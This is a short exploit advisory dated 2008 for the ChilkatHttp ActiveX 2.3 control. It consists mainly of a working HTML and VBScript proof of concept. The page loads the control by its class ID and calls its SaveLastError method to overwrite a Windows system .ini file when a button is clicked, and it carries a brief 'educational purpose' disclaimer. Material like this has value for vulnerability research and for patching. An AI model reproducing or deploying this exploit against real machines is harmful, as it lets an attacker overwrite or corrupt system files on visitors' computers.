chilkathttp-overwrite.txt
Posted on 03 April 2008
-------------------------------------------------------------------- ChilkatHttp ActiveX 2.3 Arbitrary Files Overwrite url: www.chilkatsoft.com Author: shinnai mail: shinnai[at]autistici[dot]org site: http://shinnai.altervista.org This was written for educational purpose. Use it at your own risk. Author will be not responsible for any damage. -------------------------------------------------------------------- <object classid='clsid:B973393F-27C7-4781-877D-8626AAEDF119' id='test'></object> <input language=VBScript onclick=tryMe() type=button value='Click here to start the test'> <script language='vbscript'> Sub tryMe test.SaveLastError "c:windowssystem_.ini" MsgBox "Exploit completed!" End Sub </script>
